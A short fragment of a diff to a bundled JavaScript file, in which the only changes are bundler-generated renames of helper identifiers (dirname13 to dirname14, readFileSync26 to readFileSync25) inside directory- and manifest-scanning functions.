39471
39778
  }
@@ -39666,7 +39973,7 @@ function deliveredAll(outcome) {
39666
39973
  }
39667
39974
  var NO_REPOSITORY = { root: void 0, key: void 0 };
39668
39975
  function akaHomeOf(config2) {
39669
- return config2.dataDir ? dirname13(config2.dataDir) : void 0;
39976
+ return config2.dataDir ? dirname14(config2.dataDir) : void 0;
39670
39977
  }
39671
39978
  async function scanDir(runtime, gateway, config2, seen, ledger, rootDir, opts, vault, sightingRun) {
39672
39979
  const protectedRoots = resolveProtectedRoots(opts.home, opts.akaHome ?? akaHomeOf(config2));
@@ -39860,7 +40167,7 @@ function scanManifests(egress, ledger, updates, rootDir, scopeKeyOf2, onReposito
39860
40167
  }
39861
40168
  let content;
39862
40169
  try {
39863
- content = readFileSync26(manifest.path, "utf8");
40170
+ content = readFileSync25(manifest.path, "utf8");
39864
40171
  } catch {
39865
40172
  continue;
39866
40173
  }
@@ -39955,7 +40262,7 @@ function ledgerable(updates, egress, dropped) {
39955
40262
  }
39956
40263
  function planSightings(config2, opts) {
39957
40264
  try {
39958
- const base = dirname13(config2.dataDir);
40265
+ const base = dirname14(config2.dataDir);
39959
40266
  const plan = planSightingShare(base, { managedSettings: opts.managedSettings });
39960
40267
  if (!plan.ok) return { run: void 0, outcome: plan.outcome };
39961
40268
  return {